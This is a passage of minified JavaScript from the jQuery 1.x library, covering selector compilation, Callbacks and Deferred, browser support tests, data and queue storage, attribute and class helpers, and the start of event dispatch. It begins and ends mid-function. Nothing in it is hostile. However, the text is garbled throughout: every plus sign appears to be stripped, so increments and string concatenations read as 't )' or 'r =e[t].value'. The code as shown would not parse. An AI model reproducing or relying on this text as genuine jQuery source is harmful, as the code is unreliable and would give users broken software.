t?s.length:s?at.error(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for(;n>t;t ){r =e[t].value}return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C ;return t.first?function(t,n,i){while(t=t[r]){if(1===t.nodeType||o){return e(t,n,i)}}}:function(t,n,s){var l,u,c,p=T " " a;if(s){while(t=t[r]){if((1===t.nodeType||o)&&e(t,n,s)){return !0}}}else{while(t=t[r]){if(1===t.nodeType||o){if(c=t[b]||(t[b]={}),(u=c[r])&&u[0]===p){if((l=u[1])===!0||l===i){return l===!0}}else{if(u=c[r]=[p],u[1]=e(t,n,s)||i,u[1]===!0){return !0}}}}}}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--){if(!e[i](t,n,r)){return !1}}return !0}:e[0]}function xt(e,t,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s ){(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s))}return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt(function(o,a,s,l){var u,c,p,f=[],d=[],h=a.length,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt(g,f,e,s,l),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--){(p=u[c])&&(y[d[c]]=!(m[d[c]]=p))}}if(o){if(i||e){if(i){u=[],c=y.length;while(c--){(p=y[c])&&u.push(m[c]=p)}i(null,y=[],u,l)}c=y.length;while(c--){(p=y[c])&&(u=i?F.call(o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}}else{y=xt(y===a?y.splice(h,y.length):y),i?i(null,a,y,l):M.apply(a,y)}})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].type],s=a||o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(function(e){return F.call(t,e)>-1},s,!0),f=[function(e,n,r){return !a&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l ){if(n=o.relative[e[l].type]){f=[vt(bt(f),n)]}else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r= l;i>r;r ){if(o.relative[e[r].type]){break}}return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace(z,"$1"),n,r>l&&Tt(e.slice(l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}}return bt(f)}function Ct(e,t){var n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,C=u,N=s||a&&o.find.TAG("*",d&&l.parentNode||l),k=T =null==C?1:Math.random()||0.1;for(w&&(u=l!==f&&l,i=n);null!=(h=N[b]);b ){if(a&&h){g=0;while(m=e[g ]){if(m(h,l,c)){p.push(h);break}}w&&(T=k,i= n)}r&&((h=!m&&h)&&v--,s&&x.push(h))}if(v =b,r&&b!==v){g=0;while(m=t[g ]){m(x,y,l,c)}if(s){if(v>0){while(b--){x[b]||y[b]||(y[b]=q.call(p))}}y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v t.length>1&&at.uniqueSort(p)}return w&&(T=k,u=C),x};return r?lt(s):s}l=at.compile=function(e,t){var n,r=[],i=[],o=E[e " "];if(!o){t||(t=mt(e)),n=t.length;while(n--){o=Tt(t[n]),o[b]?r.push(o):i.push(o)}o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var r=0,i=t.length;for(;i>r;r ){at(e,t[r],n)}return n}function kt(e,t,n,i){var a,s,u,c,p,f=mt(e);if(!i&&1===f.length){if(s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s[1].type]){if(t=(o.find.ID(u.matches[0].replace(rt,it),t)||[])[0],!t){return n}e=e.slice(s.shift().value.length)}a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type]){break}if((p=o.find[c])&&(i=p(u.matches[0].replace(rt,it),V.test(s[0].type)&&t.parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e){return M.apply(n,i),n}break}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("")===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(f.createElement("div"))}),ut(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|width",function(e,n,r){return r?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ut(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||ct("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(function(e){return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),x.find=at,x.expr=at.selectors,x.expr[":"]=x.expr.pseudos,x.unique=at.uniqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var O={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e="string"==typeof e?O[e]||F(e):x.extend({},e);var n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=l.length,n=!0;l&&o>a;a ){if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if(l){var t=l.length;(function i(t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&p.has(n)||l.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=l.length:r&&(s=t,c(r))}return this},remove:function(){return l&&x.each(arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1){l.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],o=0,this},disable:function(){return l=u=r=t,this},disabled:function(){return !l},lock:function(){return u=t,r||p.disable(),this},locked:function(){return !u},fireWith:function(e,t){return !l||i&&!u||(t=t||[],t=[e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return !!i}};return p},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var a=o[0],s=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a "With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0] "With"](this===i?r:this,arguments),this},i[o[0] "With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,l,u;if(r>1){for(s=Array(r),l=Array(r),u=Array(r);r>t;t ){n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail(o.reject).progress(a(t,l,s)):--i}}return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t){var n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","t"),d.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=d.getElementsByTagName("*")||[],r=d.getElementsByTagName("a")[0],!r||!r.style||!n.length){return t}s=a.createElement("select"),u=s.appendChild(a.createElement("option")),o=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!==d.className,t.leadingWhitespace=3===d.firstChild.nodeType,t.tbody=!d.getElementsByTagName("tbody").length,t.htmlSerialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!r.style.cssFloat,t.checkOn=!!o.value,t.optSelected=u.selected,t.enctype=!!a.createElement("form").enctype,t.html5Clone="<:nav></:nav>"!==a.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!0,t.noCloneChecked=o.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute("checked","t"),o.setAttribute("name","t"),l=a.createDocumentFragment(),l.appendChild(o),t.appendChecked=o.checked,t.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in {submit:!0,change:!0,focusin:!0}){d.setAttribute(c="on" f,"t"),t[f "Bubbles"]=c in e||d.attributes[c].expando===!1}d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip;for(f in x(t)){break}return t.ownLast="0"!==f,x(function(){var n,r,o,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")[0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",l.appendChild(n).appendChild(d),d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",o=d.getElementsByTagName("td"),o[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[0].offsetHeight,o[0].style.display="",o[1].style.display="none",t.reliableHiddenOffsets=p&&0===o[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",x.swap(l,null!=l.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===d.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(a.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s "width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="<div></div>",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild(n),n=d=o=r=null)}),n=s=l=u=r=o=null,t}({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x.acceptData(e)){var o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!=typeof n){return c||(c=l?e[s]=p.pop()||x.guid :s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof n||"function"==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i||(a.data||(a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?(o=a[n],null==o&&(o=a[x.camelCase(n)])):o=a,o}}}function W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--){delete r[t[i]]}if(n?!I(r):!x.isEmptyObject(r)){return}}(n||(delete a[s].data,I(a[s])))&&(o?x.cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]:e[x.expando],!!e&&!I(e)},data:function(e,t,n){return R(e,t,n)},removeData:function(e,t){return W(e,t)},_data:function(e,t,n){return R(e,t,n,!0)},_removeData:function(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType){return !1}var t=e.nodeName&&x.noData[e.nodeName.toLowerCase()];return !t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e,n){var r,i,o=null,a=0,s=this[0];if(e===t){if(this.length&&(o=x.data(s),1===s.nodeType&&!x._data(s,"parsedAttrs"))){for(r=s.attributes;r.length>a;a ){i=r[a].name,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o[i]))}x._data(s,"parsedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data(this,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data(s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this,e)})}});function $(e,n,r){if(r===t&&1===e.nodeType){var i="data-" n.replace(P,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null: r ""===r? r:B.test(r)?x.parseJSON(r):r}catch(o){}x.data(e,n,r)}else{r=t}}return r}function I(e){var t;for(t in e){if(("data"!==t||!x.isEmptyObject(e[t]))&&"toJSON"!==t){return !1}}return !0}x.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx") "queue",i=x._data(e,n),r&&(!i||x.isArray(r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),a=function(){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t "queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbacks("once memory").add(function(){x._removeData(e,t "queue"),x._removeData(e,n)})})}}),x.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each(function(){var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--){r=x._data(a[s],e "queueHooks"),r&&r.empty&&(i ,r.empty.add(l))}return l(),o.promise(n)}});var z,X,U=/[\t\r\n\f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|area)$/i,G=/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return e=x.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"==typeof e&&e;if(x.isFunction(e)){return this.each(function(t){x(this).addClass(e.call(this,t,this.className))})}if(l){for(t=(e||"").match(T)||[];s>a;a ){if(n=this[a],r=1===n.nodeType&&(n.className?(" " n.className " ").replace(U," "):" ")){o=0;while(i=t[o ]){0>r.indexOf(" " i " ")&&(r =i " ")}n.className=x.trim(r)}}}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.length||"string"==typeof e&&e;if(x.isFunction(e)){return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))})}if(l){for(t=(e||"").match(T)||[];s>a;a ){if(n=this[a],r=1===n.nodeType&&(n.className?(" " n.className " ").replace(U," "):"")){o=0;while(i=t[o ]){while(r.indexOf(" " i " ")>=0){r=r.replace(" " i " "," ")}}n.className=e?x.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(this),a=e.match(T)||[];while(t=a[r ]){o.hasClass(t)?o.removeClass(t):o.addClass(t)}}else{(n===i||"boolean"===n)&&(this.className&&x._data(this,"__className__",this.className),this.className=this.className||e===!1?"":x._data(this,"__className__")||"")}})},hasClass:function(e){var t=" " e " ",n=0,r=this.length;for(;r>n;n ){if(1===this[n].nodeType&&(" " this[n].className " ").replace(U," ").indexOf(t)>=0){return !0}}return !1},val:function(e){var n,r,i,o=this[0];if(arguments.length){return i=x.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=i?e.call(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o ="":x.isArray(o)&&(o=x.map(o,function(e){return null==e?"":e ""})),r=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],r&&"set" in r&&r.set(this,o,"value")!==t||(this.value=o))})}if(o){return r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()],r&&"get" in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=x.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i 1:r.length,l=0>i?s:o?i:0;for(;s>l;l ){if(n=r[l],!(!n.selected&&l!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o){return t}a.push(t)}}return a},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--){r=i[a],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0)}return n||(e.selectedIndex=-1),o}}},attr:function(e,n,r){var o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s){return typeof e.getAttribute===i?x.prop(e,n,r):(1===s&&x.isXMLDoc(e)||(n=n.toLowerCase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?o&&"get" in o&&null!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set" in o&&(a=o.set(e,r,n))!==t?a:(e.setAttribute(n,r ""),r):(x.removeAttr(e,n),t))}},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType){while(n=o[i ]){r=x.propFix[n]||n,x.expr.match.bool.test(n)?K&&Q||!G.test(n)?e[r]=!1:e[x.camelCase("default-" n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?n:r)}}},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s){return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,o=x.propHooks[n]),r!==t?o&&"set" in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get" in o&&null!==(i=o.get(e,n))?i:e[n]}},propHooks:{tabIndex:{get:function(e){var t=x.find.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeName)&&e.href?0:-1}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&x.propFix[n]||n,n):e[x.camelCase("default-" n)]=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w /g),function(e,n){var r=x.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(e,n,i){var o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return x.expr.attrHandle[n]=o,a}:function(e,n,r){return r?t:e[x.camelCase("default-" n)]?n.toLowerCase():null}}),K&&Q||(x.attrHooks.value={set:function(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set(e,n,r)}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n ="","value"===r||n===e.getAttribute(r)?n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHandle.coords=function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&""!==i.value?i.value:null},x.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:function(e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){x.attrHooks[n]={set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}}})),x.support.hrefNormalized||x.each(["href","src"],function(e,t){x.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t ""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.support.enctype||(x.propFix.enctype="encoding"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n){return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(. )|)$/;function it(){return !0}function ot(){return !1}function at(){try{return a.activeElement}catch(e){}}x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,v=x._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.guid ),(l=v.events)||(l=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--){s=rt.exec(n[u])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=x.event.special[g]||{},d=x.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on" g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount ,0,d):h.push(d),x.event.global[g]=!0)}e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=x.hasData(e)&&x._data(e);if(m&&(c=m.events)){t=(t||"").match(T)||[""],u=t.length;while(u--){if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=x.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)" h.join("\\.(?:.*\\.|)") "(\\.|$)"),l=o=f.length;while(o--){a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a))}l&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||x.removeEvent(e,d,m.handle),delete c[d])}else{for(d in c){x.event.remove(e,d t[u],n,r,!0)}}}x.isEmptyObject(c)&&(delete m.handle,x._removeData(e,"events"))}},trigger:function(n,r,i,o){var s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n,m=v.call(n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),l=0>g.indexOf(":")&&"on" g,n=n[x.expando]?n:new x.Event(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)" m.join("\\.(?:.*\\.|)") "(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]||{},o||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(i)){for(c=p.delegateType||g,nt.test(c g)||(u=u.parentNode);u;u=u.parentNode){h.push(u),f=u}f===(i.ownerDocument||a)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((u=h[d ])&&!n.isPropagationStopped()){n.type=d>1?c:p.bindType||g,s=(x._data(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u[l],s&&x.acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault()}if(n.type=g,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.acceptData(i)&&l&&i[g]&&!x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}return n.result}},dispatch:function(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data(this,"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),n=0;while((o=s[n ])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a ])&&!e.isImmediatePropagationStopped()){(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((x.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.delegateCount,u=e.target;if(l&&u.nodeType&&(!e.button||"click"!==e.type)){for(;u!=this;u=u.parentNode||this){if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(o=[],a=0;l>a;a ){i=n[a],r=i.selector " ",o[r]===t&&(o[r]=i.needsContext?x(r,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i)}o.length&&s.push({elem:u,handlers:o})}}}return n.length>l&&s.push({elem:this,handlers:n.slice(l)}),s},fix:function(e){if(e[x.expando]){return e}var t,n,r,i=e.type,o=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.length;while(t--){n=r[t],e[n]=o[n]}return e.target||(e.target=o.srcElement||a),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,o,s=n.button,l=n.fromElement;return 